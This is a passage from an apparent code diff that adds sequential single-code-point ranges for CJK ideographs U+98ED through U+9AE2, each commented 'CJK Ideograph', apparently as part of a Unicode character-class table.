+ ["\u98ED", "\u98ED"], /* CJK Ideograph */
+ ["\u98EE", "\u98EE"], /* CJK Ideograph */
+ ["\u98EF", "\u98EF"], /* CJK Ideograph */
+ ["\u98F0", "\u98F0"], /* CJK Ideograph */
+ ["\u98F1", "\u98F1"], /* CJK Ideograph */
+ ["\u98F2", "\u98F2"], /* CJK Ideograph */
+ ["\u98F3", "\u98F3"], /* CJK Ideograph */
+ ["\u98F4", "\u98F4"], /* CJK Ideograph */
+ ["\u98F5", "\u98F5"], /* CJK Ideograph */
+ ["\u98F6", "\u98F6"], /* CJK Ideograph */
+ ["\u98F7", "\u98F7"], /* CJK Ideograph */
+ ["\u98F8", "\u98F8"], /* CJK Ideograph */
+ ["\u98F9", "\u98F9"], /* CJK Ideograph */
+ ["\u98FA", "\u98FA"], /* CJK Ideograph */
+ ["\u98FB", "\u98FB"], /* CJK Ideograph */
+ ["\u98FC", "\u98FC"], /* CJK Ideograph */
+ ["\u98FD", "\u98FD"], /* CJK Ideograph */
+ ["\u98FE", "\u98FE"], /* CJK Ideograph */
+ ["\u98FF", "\u98FF"], /* CJK Ideograph */
+ ["\u9900", "\u9900"], /* CJK Ideograph */
+ ["\u9901", "\u9901"], /* CJK Ideograph */
+ ["\u9902", "\u9902"], /* CJK Ideograph */
+ ["\u9903", "\u9903"], /* CJK Ideograph */
+ ["\u9904", "\u9904"], /* CJK Ideograph */
+ ["\u9905", "\u9905"], /* CJK Ideograph */
+ ["\u9906", "\u9906"], /* CJK Ideograph */
+ ["\u9907", "\u9907"], /* CJK Ideograph */
+ ["\u9908", "\u9908"], /* CJK Ideograph */
+ ["\u9909", "\u9909"], /* CJK Ideograph */
+ ["\u990A", "\u990A"], /* CJK Ideograph */
+ ["\u990B", "\u990B"], /* CJK Ideograph */
+ ["\u990C", "\u990C"], /* CJK Ideograph */
+ ["\u990D", "\u990D"], /* CJK Ideograph */
+ ["\u990E", "\u990E"], /* CJK Ideograph */
+ ["\u990F", "\u990F"], /* CJK Ideograph */
+ ["\u9910", "\u9910"], /* CJK Ideograph */
+ ["\u9911", "\u9911"], /* CJK Ideograph */
+ ["\u9912", "\u9912"], /* CJK Ideograph */
+ ["\u9913", "\u9913"], /* CJK Ideograph */
+ ["\u9914", "\u9914"], /* CJK Ideograph */
+ ["\u9915", "\u9915"], /* CJK Ideograph */
+ ["\u9916", "\u9916"], /* CJK Ideograph */
+ ["\u9917", "\u9917"], /* CJK Ideograph */
+ ["\u9918", "\u9918"], /* CJK Ideograph */
+ ["\u9919", "\u9919"], /* CJK Ideograph */
+ ["\u991A", "\u991A"], /* CJK Ideograph */
+ ["\u991B", "\u991B"], /* CJK Ideograph */
+ ["\u991C", "\u991C"], /* CJK Ideograph */
+ ["\u991D", "\u991D"], /* CJK Ideograph */
+ ["\u991E", "\u991E"], /* CJK Ideograph */
+ ["\u991F", "\u991F"], /* CJK Ideograph */
+ ["\u9920", "\u9920"], /* CJK Ideograph */
+ ["\u9921", "\u9921"], /* CJK Ideograph */
+ ["\u9922", "\u9922"], /* CJK Ideograph */
+ ["\u9923", "\u9923"], /* CJK Ideograph */
+ ["\u9924", "\u9924"], /* CJK Ideograph */
+ ["\u9925", "\u9925"], /* CJK Ideograph */
+ ["\u9926", "\u9926"], /* CJK Ideograph */
+ ["\u9927", "\u9927"], /* CJK Ideograph */
+ ["\u9928", "\u9928"], /* CJK Ideograph */
+ ["\u9929", "\u9929"], /* CJK Ideograph */
+ ["\u992A", "\u992A"], /* CJK Ideograph */
+ ["\u992B", "\u992B"], /* CJK Ideograph */
+ ["\u992C", "\u992C"], /* CJK Ideograph */
+ ["\u992D", "\u992D"], /* CJK Ideograph */
+ ["\u992E", "\u992E"], /* CJK Ideograph */
+ ["\u992F", "\u992F"], /* CJK Ideograph */
+ ["\u9930", "\u9930"], /* CJK Ideograph */
+ ["\u9931", "\u9931"], /* CJK Ideograph */
+ ["\u9932", "\u9932"], /* CJK Ideograph */
+ ["\u9933", "\u9933"], /* CJK Ideograph */
+ ["\u9934", "\u9934"], /* CJK Ideograph */
+ ["\u9935", "\u9935"], /* CJK Ideograph */
+ ["\u9936", "\u9936"], /* CJK Ideograph */
+ ["\u9937", "\u9937"], /* CJK Ideograph */
+ ["\u9938", "\u9938"], /* CJK Ideograph */
+ ["\u9939", "\u9939"], /* CJK Ideograph */
+ ["\u993A", "\u993A"], /* CJK Ideograph */
+ ["\u993B", "\u993B"], /* CJK Ideograph */
+ ["\u993C", "\u993C"], /* CJK Ideograph */
+ ["\u993D", "\u993D"], /* CJK Ideograph */
+ ["\u993E", "\u993E"], /* CJK Ideograph */
+ ["\u993F", "\u993F"], /* CJK Ideograph */
+ ["\u9940", "\u9940"], /* CJK Ideograph */
+ ["\u9941", "\u9941"], /* CJK Ideograph */
+ ["\u9942", "\u9942"], /* CJK Ideograph */
+ ["\u9943", "\u9943"], /* CJK Ideograph */
+ ["\u9944", "\u9944"], /* CJK Ideograph */
+ ["\u9945", "\u9945"], /* CJK Ideograph */
+ ["\u9946", "\u9946"], /* CJK Ideograph */
+ ["\u9947", "\u9947"], /* CJK Ideograph */
+ ["\u9948", "\u9948"], /* CJK Ideograph */
+ ["\u9949", "\u9949"], /* CJK Ideograph */
+ ["\u994A", "\u994A"], /* CJK Ideograph */
+ ["\u994B", "\u994B"], /* CJK Ideograph */
+ ["\u994C", "\u994C"], /* CJK Ideograph */
+ ["\u994D", "\u994D"], /* CJK Ideograph */
+ ["\u994E", "\u994E"], /* CJK Ideograph */
+ ["\u994F", "\u994F"], /* CJK Ideograph */
+ ["\u9950", "\u9950"], /* CJK Ideograph */
+ ["\u9951", "\u9951"], /* CJK Ideograph */
+ ["\u9952", "\u9952"], /* CJK Ideograph */
+ ["\u9953", "\u9953"], /* CJK Ideograph */
+ ["\u9954", "\u9954"], /* CJK Ideograph */
+ ["\u9955", "\u9955"], /* CJK Ideograph */
+ ["\u9956", "\u9956"], /* CJK Ideograph */
+ ["\u9957", "\u9957"], /* CJK Ideograph */
+ ["\u9958", "\u9958"], /* CJK Ideograph */
+ ["\u9959", "\u9959"], /* CJK Ideograph */
+ ["\u995A", "\u995A"], /* CJK Ideograph */
+ ["\u995B", "\u995B"], /* CJK Ideograph */
+ ["\u995C", "\u995C"], /* CJK Ideograph */
+ ["\u995D", "\u995D"], /* CJK Ideograph */
+ ["\u995E", "\u995E"], /* CJK Ideograph */
+ ["\u995F", "\u995F"], /* CJK Ideograph */
+ ["\u9960", "\u9960"], /* CJK Ideograph */
+ ["\u9961", "\u9961"], /* CJK Ideograph */
+ ["\u9962", "\u9962"], /* CJK Ideograph */
+ ["\u9963", "\u9963"], /* CJK Ideograph */
+ ["\u9964", "\u9964"], /* CJK Ideograph */
+ ["\u9965", "\u9965"], /* CJK Ideograph */
+ ["\u9966", "\u9966"], /* CJK Ideograph */
+ ["\u9967", "\u9967"], /* CJK Ideograph */
+ ["\u9968", "\u9968"], /* CJK Ideograph */
+ ["\u9969", "\u9969"], /* CJK Ideograph */
+ ["\u996A", "\u996A"], /* CJK Ideograph */
+ ["\u996B", "\u996B"], /* CJK Ideograph */
+ ["\u996C", "\u996C"], /* CJK Ideograph */
+ ["\u996D", "\u996D"], /* CJK Ideograph */
+ ["\u996E", "\u996E"], /* CJK Ideograph */
+ ["\u996F", "\u996F"], /* CJK Ideograph */
+ ["\u9970", "\u9970"], /* CJK Ideograph */
+ ["\u9971", "\u9971"], /* CJK Ideograph */
+ ["\u9972", "\u9972"], /* CJK Ideograph */
+ ["\u9973", "\u9973"], /* CJK Ideograph */
+ ["\u9974", "\u9974"], /* CJK Ideograph */
+ ["\u9975", "\u9975"], /* CJK Ideograph */
+ ["\u9976", "\u9976"], /* CJK Ideograph */
+ ["\u9977", "\u9977"], /* CJK Ideograph */
+ ["\u9978", "\u9978"], /* CJK Ideograph */
+ ["\u9979", "\u9979"], /* CJK Ideograph */
+ ["\u997A", "\u997A"], /* CJK Ideograph */
+ ["\u997B", "\u997B"], /* CJK Ideograph */
+ ["\u997C", "\u997C"], /* CJK Ideograph */
+ ["\u997D", "\u997D"], /* CJK Ideograph */
+ ["\u997E", "\u997E"], /* CJK Ideograph */
+ ["\u997F", "\u997F"], /* CJK Ideograph */
+ ["\u9980", "\u9980"], /* CJK Ideograph */
+ ["\u9981", "\u9981"], /* CJK Ideograph */
+ ["\u9982", "\u9982"], /* CJK Ideograph */
+ ["\u9983", "\u9983"], /* CJK Ideograph */
+ ["\u9984", "\u9984"], /* CJK Ideograph */
+ ["\u9985", "\u9985"], /* CJK Ideograph */
+ ["\u9986", "\u9986"], /* CJK Ideograph */
+ ["\u9987", "\u9987"], /* CJK Ideograph */
+ ["\u9988", "\u9988"], /* CJK Ideograph */
+ ["\u9989", "\u9989"], /* CJK Ideograph */
+ ["\u998A", "\u998A"], /* CJK Ideograph */
+ ["\u998B", "\u998B"], /* CJK Ideograph */
+ ["\u998C", "\u998C"], /* CJK Ideograph */
+ ["\u998D", "\u998D"], /* CJK Ideograph */
+ ["\u998E", "\u998E"], /* CJK Ideograph */
+ ["\u998F", "\u998F"], /* CJK Ideograph */
+ ["\u9990", "\u9990"], /* CJK Ideograph */
+ ["\u9991", "\u9991"], /* CJK Ideograph */
+ ["\u9992", "\u9992"], /* CJK Ideograph */
+ ["\u9993", "\u9993"], /* CJK Ideograph */
+ ["\u9994", "\u9994"], /* CJK Ideograph */
+ ["\u9995", "\u9995"], /* CJK Ideograph */
+ ["\u9996", "\u9996"], /* CJK Ideograph */
+ ["\u9997", "\u9997"], /* CJK Ideograph */
+ ["\u9998", "\u9998"], /* CJK Ideograph */
+ ["\u9999", "\u9999"], /* CJK Ideograph */
+ ["\u999A", "\u999A"], /* CJK Ideograph */
+ ["\u999B", "\u999B"], /* CJK Ideograph */
+ ["\u999C", "\u999C"], /* CJK Ideograph */
+ ["\u999D", "\u999D"], /* CJK Ideograph */
+ ["\u999E", "\u999E"], /* CJK Ideograph */
+ ["\u999F", "\u999F"], /* CJK Ideograph */
+ ["\u99A0", "\u99A0"], /* CJK Ideograph */
+ ["\u99A1", "\u99A1"], /* CJK Ideograph */
+ ["\u99A2", "\u99A2"], /* CJK Ideograph */
+ ["\u99A3", "\u99A3"], /* CJK Ideograph */
+ ["\u99A4", "\u99A4"], /* CJK Ideograph */
+ ["\u99A5", "\u99A5"], /* CJK Ideograph */
+ ["\u99A6", "\u99A6"], /* CJK Ideograph */
+ ["\u99A7", "\u99A7"], /* CJK Ideograph */
+ ["\u99A8", "\u99A8"], /* CJK Ideograph */
+ ["\u99A9", "\u99A9"], /* CJK Ideograph */
+ ["\u99AA", "\u99AA"], /* CJK Ideograph */
+ ["\u99AB", "\u99AB"], /* CJK Ideograph */
+ ["\u99AC", "\u99AC"], /* CJK Ideograph */
+ ["\u99AD", "\u99AD"], /* CJK Ideograph */
+ ["\u99AE", "\u99AE"], /* CJK Ideograph */
+ ["\u99AF", "\u99AF"], /* CJK Ideograph */
+ ["\u99B0", "\u99B0"], /* CJK Ideograph */
+ ["\u99B1", "\u99B1"], /* CJK Ideograph */
+ ["\u99B2", "\u99B2"], /* CJK Ideograph */
+ ["\u99B3", "\u99B3"], /* CJK Ideograph */
+ ["\u99B4", "\u99B4"], /* CJK Ideograph */
+ ["\u99B5", "\u99B5"], /* CJK Ideograph */
+ ["\u99B6", "\u99B6"], /* CJK Ideograph */
+ ["\u99B7", "\u99B7"], /* CJK Ideograph */
+ ["\u99B8", "\u99B8"], /* CJK Ideograph */
+ ["\u99B9", "\u99B9"], /* CJK Ideograph */
+ ["\u99BA", "\u99BA"], /* CJK Ideograph */
+ ["\u99BB", "\u99BB"], /* CJK Ideograph */
+ ["\u99BC", "\u99BC"], /* CJK Ideograph */
+ ["\u99BD", "\u99BD"], /* CJK Ideograph */
+ ["\u99BE", "\u99BE"], /* CJK Ideograph */
+ ["\u99BF", "\u99BF"], /* CJK Ideograph */
+ ["\u99C0", "\u99C0"], /* CJK Ideograph */
+ ["\u99C1", "\u99C1"], /* CJK Ideograph */
+ ["\u99C2", "\u99C2"], /* CJK Ideograph */
+ ["\u99C3", "\u99C3"], /* CJK Ideograph */
+ ["\u99C4", "\u99C4"], /* CJK Ideograph */
+ ["\u99C5", "\u99C5"], /* CJK Ideograph */
+ ["\u99C6", "\u99C6"], /* CJK Ideograph */
+ ["\u99C7", "\u99C7"], /* CJK Ideograph */
+ ["\u99C8", "\u99C8"], /* CJK Ideograph */
+ ["\u99C9", "\u99C9"], /* CJK Ideograph */
+ ["\u99CA", "\u99CA"], /* CJK Ideograph */
+ ["\u99CB", "\u99CB"], /* CJK Ideograph */
+ ["\u99CC", "\u99CC"], /* CJK Ideograph */
+ ["\u99CD", "\u99CD"], /* CJK Ideograph */
+ ["\u99CE", "\u99CE"], /* CJK Ideograph */
+ ["\u99CF", "\u99CF"], /* CJK Ideograph */
+ ["\u99D0", "\u99D0"], /* CJK Ideograph */
+ ["\u99D1", "\u99D1"], /* CJK Ideograph */
+ ["\u99D2", "\u99D2"], /* CJK Ideograph */
+ ["\u99D3", "\u99D3"], /* CJK Ideograph */
+ ["\u99D4", "\u99D4"], /* CJK Ideograph */
+ ["\u99D5", "\u99D5"], /* CJK Ideograph */
+ ["\u99D6", "\u99D6"], /* CJK Ideograph */
+ ["\u99D7", "\u99D7"], /* CJK Ideograph */
+ ["\u99D8", "\u99D8"], /* CJK Ideograph */
+ ["\u99D9", "\u99D9"], /* CJK Ideograph */
+ ["\u99DA", "\u99DA"], /* CJK Ideograph */
+ ["\u99DB", "\u99DB"], /* CJK Ideograph */
+ ["\u99DC", "\u99DC"], /* CJK Ideograph */
+ ["\u99DD", "\u99DD"], /* CJK Ideograph */
+ ["\u99DE", "\u99DE"], /* CJK Ideograph */
+ ["\u99DF", "\u99DF"], /* CJK Ideograph */
+ ["\u99E0", "\u99E0"], /* CJK Ideograph */
+ ["\u99E1", "\u99E1"], /* CJK Ideograph */
+ ["\u99E2", "\u99E2"], /* CJK Ideograph */
+ ["\u99E3", "\u99E3"], /* CJK Ideograph */
+ ["\u99E4", "\u99E4"], /* CJK Ideograph */
+ ["\u99E5", "\u99E5"], /* CJK Ideograph */
+ ["\u99E6", "\u99E6"], /* CJK Ideograph */
+ ["\u99E7", "\u99E7"], /* CJK Ideograph */
+ ["\u99E8", "\u99E8"], /* CJK Ideograph */
+ ["\u99E9", "\u99E9"], /* CJK Ideograph */
+ ["\u99EA", "\u99EA"], /* CJK Ideograph */
+ ["\u99EB", "\u99EB"], /* CJK Ideograph */
+ ["\u99EC", "\u99EC"], /* CJK Ideograph */
+ ["\u99ED", "\u99ED"], /* CJK Ideograph */
+ ["\u99EE", "\u99EE"], /* CJK Ideograph */
+ ["\u99EF", "\u99EF"], /* CJK Ideograph */
+ ["\u99F0", "\u99F0"], /* CJK Ideograph */
+ ["\u99F1", "\u99F1"], /* CJK Ideograph */
+ ["\u99F2", "\u99F2"], /* CJK Ideograph */
+ ["\u99F3", "\u99F3"], /* CJK Ideograph */
+ ["\u99F4", "\u99F4"], /* CJK Ideograph */
+ ["\u99F5", "\u99F5"], /* CJK Ideograph */
+ ["\u99F6", "\u99F6"], /* CJK Ideograph */
+ ["\u99F7", "\u99F7"], /* CJK Ideograph */
+ ["\u99F8", "\u99F8"], /* CJK Ideograph */
+ ["\u99F9", "\u99F9"], /* CJK Ideograph */
+ ["\u99FA", "\u99FA"], /* CJK Ideograph */
+ ["\u99FB", "\u99FB"], /* CJK Ideograph */
+ ["\u99FC", "\u99FC"], /* CJK Ideograph */
+ ["\u99FD", "\u99FD"], /* CJK Ideograph */
+ ["\u99FE", "\u99FE"], /* CJK Ideograph */
+ ["\u99FF", "\u99FF"], /* CJK Ideograph */
+ ["\u9A00", "\u9A00"], /* CJK Ideograph */
+ ["\u9A01", "\u9A01"], /* CJK Ideograph */
+ ["\u9A02", "\u9A02"], /* CJK Ideograph */
+ ["\u9A03", "\u9A03"], /* CJK Ideograph */
+ ["\u9A04", "\u9A04"], /* CJK Ideograph */
+ ["\u9A05", "\u9A05"], /* CJK Ideograph */
+ ["\u9A06", "\u9A06"], /* CJK Ideograph */
+ ["\u9A07", "\u9A07"], /* CJK Ideograph */
+ ["\u9A08", "\u9A08"], /* CJK Ideograph */
+ ["\u9A09", "\u9A09"], /* CJK Ideograph */
+ ["\u9A0A", "\u9A0A"], /* CJK Ideograph */
+ ["\u9A0B", "\u9A0B"], /* CJK Ideograph */
+ ["\u9A0C", "\u9A0C"], /* CJK Ideograph */
+ ["\u9A0D", "\u9A0D"], /* CJK Ideograph */
+ ["\u9A0E", "\u9A0E"], /* CJK Ideograph */
+ ["\u9A0F", "\u9A0F"], /* CJK Ideograph */
+ ["\u9A10", "\u9A10"], /* CJK Ideograph */
+ ["\u9A11", "\u9A11"], /* CJK Ideograph */
+ ["\u9A12", "\u9A12"], /* CJK Ideograph */
+ ["\u9A13", "\u9A13"], /* CJK Ideograph */
+ ["\u9A14", "\u9A14"], /* CJK Ideograph */
+ ["\u9A15", "\u9A15"], /* CJK Ideograph */
+ ["\u9A16", "\u9A16"], /* CJK Ideograph */
+ ["\u9A17", "\u9A17"], /* CJK Ideograph */
+ ["\u9A18", "\u9A18"], /* CJK Ideograph */
+ ["\u9A19", "\u9A19"], /* CJK Ideograph */
+ ["\u9A1A", "\u9A1A"], /* CJK Ideograph */
+ ["\u9A1B", "\u9A1B"], /* CJK Ideograph */
+ ["\u9A1C", "\u9A1C"], /* CJK Ideograph */
+ ["\u9A1D", "\u9A1D"], /* CJK Ideograph */
+ ["\u9A1E", "\u9A1E"], /* CJK Ideograph */
+ ["\u9A1F", "\u9A1F"], /* CJK Ideograph */
+ ["\u9A20", "\u9A20"], /* CJK Ideograph */
+ ["\u9A21", "\u9A21"], /* CJK Ideograph */
+ ["\u9A22", "\u9A22"], /* CJK Ideograph */
+ ["\u9A23", "\u9A23"], /* CJK Ideograph */
+ ["\u9A24", "\u9A24"], /* CJK Ideograph */
+ ["\u9A25", "\u9A25"], /* CJK Ideograph */
+ ["\u9A26", "\u9A26"], /* CJK Ideograph */
+ ["\u9A27", "\u9A27"], /* CJK Ideograph */
+ ["\u9A28", "\u9A28"], /* CJK Ideograph */
+ ["\u9A29", "\u9A29"], /* CJK Ideograph */
+ ["\u9A2A", "\u9A2A"], /* CJK Ideograph */
+ ["\u9A2B", "\u9A2B"], /* CJK Ideograph */
+ ["\u9A2C", "\u9A2C"], /* CJK Ideograph */
+ ["\u9A2D", "\u9A2D"], /* CJK Ideograph */
+ ["\u9A2E", "\u9A2E"], /* CJK Ideograph */
+ ["\u9A2F", "\u9A2F"], /* CJK Ideograph */
+ ["\u9A30", "\u9A30"], /* CJK Ideograph */
+ ["\u9A31", "\u9A31"], /* CJK Ideograph */
+ ["\u9A32", "\u9A32"], /* CJK Ideograph */
+ ["\u9A33", "\u9A33"], /* CJK Ideograph */
+ ["\u9A34", "\u9A34"], /* CJK Ideograph */
+ ["\u9A35", "\u9A35"], /* CJK Ideograph */
+ ["\u9A36", "\u9A36"], /* CJK Ideograph */
+ ["\u9A37", "\u9A37"], /* CJK Ideograph */
+ ["\u9A38", "\u9A38"], /* CJK Ideograph */
+ ["\u9A39", "\u9A39"], /* CJK Ideograph */
+ ["\u9A3A", "\u9A3A"], /* CJK Ideograph */
+ ["\u9A3B", "\u9A3B"], /* CJK Ideograph */
+ ["\u9A3C", "\u9A3C"], /* CJK Ideograph */
+ ["\u9A3D", "\u9A3D"], /* CJK Ideograph */
+ ["\u9A3E", "\u9A3E"], /* CJK Ideograph */
+ ["\u9A3F", "\u9A3F"], /* CJK Ideograph */
+ ["\u9A40", "\u9A40"], /* CJK Ideograph */
+ ["\u9A41", "\u9A41"], /* CJK Ideograph */
+ ["\u9A42", "\u9A42"], /* CJK Ideograph */
+ ["\u9A43", "\u9A43"], /* CJK Ideograph */
+ ["\u9A44", "\u9A44"], /* CJK Ideograph */
+ ["\u9A45", "\u9A45"], /* CJK Ideograph */
+ ["\u9A46", "\u9A46"], /* CJK Ideograph */
+ ["\u9A47", "\u9A47"], /* CJK Ideograph */
+ ["\u9A48", "\u9A48"], /* CJK Ideograph */
+ ["\u9A49", "\u9A49"], /* CJK Ideograph */
+ ["\u9A4A", "\u9A4A"], /* CJK Ideograph */
+ ["\u9A4B", "\u9A4B"], /* CJK Ideograph */
+ ["\u9A4C", "\u9A4C"], /* CJK Ideograph */
+ ["\u9A4D", "\u9A4D"], /* CJK Ideograph */
+ ["\u9A4E", "\u9A4E"], /* CJK Ideograph */
+ ["\u9A4F", "\u9A4F"], /* CJK Ideograph */
+ ["\u9A50", "\u9A50"], /* CJK Ideograph */
+ ["\u9A51", "\u9A51"], /* CJK Ideograph */
+ ["\u9A52", "\u9A52"], /* CJK Ideograph */
+ ["\u9A53", "\u9A53"], /* CJK Ideograph */
+ ["\u9A54", "\u9A54"], /* CJK Ideograph */
+ ["\u9A55", "\u9A55"], /* CJK Ideograph */
+ ["\u9A56", "\u9A56"], /* CJK Ideograph */
+ ["\u9A57", "\u9A57"], /* CJK Ideograph */
+ ["\u9A58", "\u9A58"], /* CJK Ideograph */
+ ["\u9A59", "\u9A59"], /* CJK Ideograph */
+ ["\u9A5A", "\u9A5A"], /* CJK Ideograph */
+ ["\u9A5B", "\u9A5B"], /* CJK Ideograph */
+ ["\u9A5C", "\u9A5C"], /* CJK Ideograph */
+ ["\u9A5D", "\u9A5D"], /* CJK Ideograph */
+ ["\u9A5E", "\u9A5E"], /* CJK Ideograph */
+ ["\u9A5F", "\u9A5F"], /* CJK Ideograph */
+ ["\u9A60", "\u9A60"], /* CJK Ideograph */
+ ["\u9A61", "\u9A61"], /* CJK Ideograph */
+ ["\u9A62", "\u9A62"], /* CJK Ideograph */
+ ["\u9A63", "\u9A63"], /* CJK Ideograph */
+ ["\u9A64", "\u9A64"], /* CJK Ideograph */
+ ["\u9A65", "\u9A65"], /* CJK Ideograph */
+ ["\u9A66", "\u9A66"], /* CJK Ideograph */
+ ["\u9A67", "\u9A67"], /* CJK Ideograph */
+ ["\u9A68", "\u9A68"], /* CJK Ideograph */
+ ["\u9A69", "\u9A69"], /* CJK Ideograph */
+ ["\u9A6A", "\u9A6A"], /* CJK Ideograph */
+ ["\u9A6B", "\u9A6B"], /* CJK Ideograph */
+ ["\u9A6C", "\u9A6C"], /* CJK Ideograph */
+ ["\u9A6D", "\u9A6D"], /* CJK Ideograph */
+ ["\u9A6E", "\u9A6E"], /* CJK Ideograph */
+ ["\u9A6F", "\u9A6F"], /* CJK Ideograph */
+ ["\u9A70", "\u9A70"], /* CJK Ideograph */
+ ["\u9A71", "\u9A71"], /* CJK Ideograph */
+ ["\u9A72", "\u9A72"], /* CJK Ideograph */
+ ["\u9A73", "\u9A73"], /* CJK Ideograph */
+ ["\u9A74", "\u9A74"], /* CJK Ideograph */
+ ["\u9A75", "\u9A75"], /* CJK Ideograph */
+ ["\u9A76", "\u9A76"], /* CJK Ideograph */
+ ["\u9A77", "\u9A77"], /* CJK Ideograph */
+ ["\u9A78", "\u9A78"], /* CJK Ideograph */
+ ["\u9A79", "\u9A79"], /* CJK Ideograph */
+ ["\u9A7A", "\u9A7A"], /* CJK Ideograph */
+ ["\u9A7B", "\u9A7B"], /* CJK Ideograph */
+ ["\u9A7C", "\u9A7C"], /* CJK Ideograph */
+ ["\u9A7D", "\u9A7D"], /* CJK Ideograph */
+ ["\u9A7E", "\u9A7E"], /* CJK Ideograph */
+ ["\u9A7F", "\u9A7F"], /* CJK Ideograph */
+ ["\u9A80", "\u9A80"], /* CJK Ideograph */
+ ["\u9A81", "\u9A81"], /* CJK Ideograph */
+ ["\u9A82", "\u9A82"], /* CJK Ideograph */
+ ["\u9A83", "\u9A83"], /* CJK Ideograph */
+ ["\u9A84", "\u9A84"], /* CJK Ideograph */
+ ["\u9A85", "\u9A85"], /* CJK Ideograph */
+ ["\u9A86", "\u9A86"], /* CJK Ideograph */
+ ["\u9A87", "\u9A87"], /* CJK Ideograph */
+ ["\u9A88", "\u9A88"], /* CJK Ideograph */
+ ["\u9A89", "\u9A89"], /* CJK Ideograph */
+ ["\u9A8A", "\u9A8A"], /* CJK Ideograph */
+ ["\u9A8B", "\u9A8B"], /* CJK Ideograph */
+ ["\u9A8C", "\u9A8C"], /* CJK Ideograph */
+ ["\u9A8D", "\u9A8D"], /* CJK Ideograph */
+ ["\u9A8E", "\u9A8E"], /* CJK Ideograph */
+ ["\u9A8F", "\u9A8F"], /* CJK Ideograph */
+ ["\u9A90", "\u9A90"], /* CJK Ideograph */
+ ["\u9A91", "\u9A91"], /* CJK Ideograph */
+ ["\u9A92", "\u9A92"], /* CJK Ideograph */
+ ["\u9A93", "\u9A93"], /* CJK Ideograph */
+ ["\u9A94", "\u9A94"], /* CJK Ideograph */
+ ["\u9A95", "\u9A95"], /* CJK Ideograph */
+ ["\u9A96", "\u9A96"], /* CJK Ideograph */
+ ["\u9A97", "\u9A97"], /* CJK Ideograph */
+ ["\u9A98", "\u9A98"], /* CJK Ideograph */
+ ["\u9A99", "\u9A99"], /* CJK Ideograph */
+ ["\u9A9A", "\u9A9A"], /* CJK Ideograph */
+ ["\u9A9B", "\u9A9B"], /* CJK Ideograph */
+ ["\u9A9C", "\u9A9C"], /* CJK Ideograph */
+ ["\u9A9D", "\u9A9D"], /* CJK Ideograph */
+ ["\u9A9E", "\u9A9E"], /* CJK Ideograph */
+ ["\u9A9F", "\u9A9F"], /* CJK Ideograph */
+ ["\u9AA0", "\u9AA0"], /* CJK Ideograph */
+ ["\u9AA1", "\u9AA1"], /* CJK Ideograph */
+ ["\u9AA2", "\u9AA2"], /* CJK Ideograph */
+ ["\u9AA3", "\u9AA3"], /* CJK Ideograph */
+ ["\u9AA4", "\u9AA4"], /* CJK Ideograph */
+ ["\u9AA5", "\u9AA5"], /* CJK Ideograph */
+ ["\u9AA6", "\u9AA6"], /* CJK Ideograph */
+ ["\u9AA7", "\u9AA7"], /* CJK Ideograph */
+ ["\u9AA8", "\u9AA8"], /* CJK Ideograph */
+ ["\u9AA9", "\u9AA9"], /* CJK Ideograph */
+ ["\u9AAA", "\u9AAA"], /* CJK Ideograph */
+ ["\u9AAB", "\u9AAB"], /* CJK Ideograph */
+ ["\u9AAC", "\u9AAC"], /* CJK Ideograph */
+ ["\u9AAD", "\u9AAD"], /* CJK Ideograph */
+ ["\u9AAE", "\u9AAE"], /* CJK Ideograph */
+ ["\u9AAF", "\u9AAF"], /* CJK Ideograph */
+ ["\u9AB0", "\u9AB0"], /* CJK Ideograph */
+ ["\u9AB1", "\u9AB1"], /* CJK Ideograph */
+ ["\u9AB2", "\u9AB2"], /* CJK Ideograph */
+ ["\u9AB3", "\u9AB3"], /* CJK Ideograph */
+ ["\u9AB4", "\u9AB4"], /* CJK Ideograph */
+ ["\u9AB5", "\u9AB5"], /* CJK Ideograph */
+ ["\u9AB6", "\u9AB6"], /* CJK Ideograph */
+ ["\u9AB7", "\u9AB7"], /* CJK Ideograph */
+ ["\u9AB8", "\u9AB8"], /* CJK Ideograph */
+ ["\u9AB9", "\u9AB9"], /* CJK Ideograph */
+ ["\u9ABA", "\u9ABA"], /* CJK Ideograph */
+ ["\u9ABB", "\u9ABB"], /* CJK Ideograph */
+ ["\u9ABC", "\u9ABC"], /* CJK Ideograph */
+ ["\u9ABD", "\u9ABD"], /* CJK Ideograph */
+ ["\u9ABE", "\u9ABE"], /* CJK Ideograph */
+ ["\u9ABF", "\u9ABF"], /* CJK Ideograph */
+ ["\u9AC0", "\u9AC0"], /* CJK Ideograph */
+ ["\u9AC1", "\u9AC1"], /* CJK Ideograph */
+ ["\u9AC2", "\u9AC2"], /* CJK Ideograph */
+ ["\u9AC3", "\u9AC3"], /* CJK Ideograph */
+ ["\u9AC4", "\u9AC4"], /* CJK Ideograph */
+ ["\u9AC5", "\u9AC5"], /* CJK Ideograph */
+ ["\u9AC6", "\u9AC6"], /* CJK Ideograph */
+ ["\u9AC7", "\u9AC7"], /* CJK Ideograph */
+ ["\u9AC8", "\u9AC8"], /* CJK Ideograph */
+ ["\u9AC9", "\u9AC9"], /* CJK Ideograph */
+ ["\u9ACA", "\u9ACA"], /* CJK Ideograph */
+ ["\u9ACB", "\u9ACB"], /* CJK Ideograph */
+ ["\u9ACC", "\u9ACC"], /* CJK Ideograph */
+ ["\u9ACD", "\u9ACD"], /* CJK Ideograph */
+ ["\u9ACE", "\u9ACE"], /* CJK Ideograph */
+ ["\u9ACF", "\u9ACF"], /* CJK Ideograph */
+ ["\u9AD0", "\u9AD0"], /* CJK Ideograph */
+ ["\u9AD1", "\u9AD1"], /* CJK Ideograph */
+ ["\u9AD2", "\u9AD2"], /* CJK Ideograph */
+ ["\u9AD3", "\u9AD3"], /* CJK Ideograph */
+ ["\u9AD4", "\u9AD4"], /* CJK Ideograph */
+ ["\u9AD5", "\u9AD5"], /* CJK Ideograph */
+ ["\u9AD6", "\u9AD6"], /* CJK Ideograph */
+ ["\u9AD7", "\u9AD7"], /* CJK Ideograph */
+ ["\u9AD8", "\u9AD8"], /* CJK Ideograph */
+ ["\u9AD9", "\u9AD9"], /* CJK Ideograph */
+ ["\u9ADA", "\u9ADA"], /* CJK Ideograph */
+ ["\u9ADB", "\u9ADB"], /* CJK Ideograph */
+ ["\u9ADC", "\u9ADC"], /* CJK Ideograph */
+ ["\u9ADD", "\u9ADD"], /* CJK Ideograph */
+ ["\u9ADE", "\u9ADE"], /* CJK Ideograph */
+ ["\u9ADF", "\u9ADF"], /* CJK Ideograph */
+ ["\u9AE0", "\u9AE0"], /* CJK Ideograph */
+ ["\u9AE1", "\u9AE1"], /* CJK Ideograph */
+ ["\u9AE2", "\u9AE2"], /* CJK Ideograph */
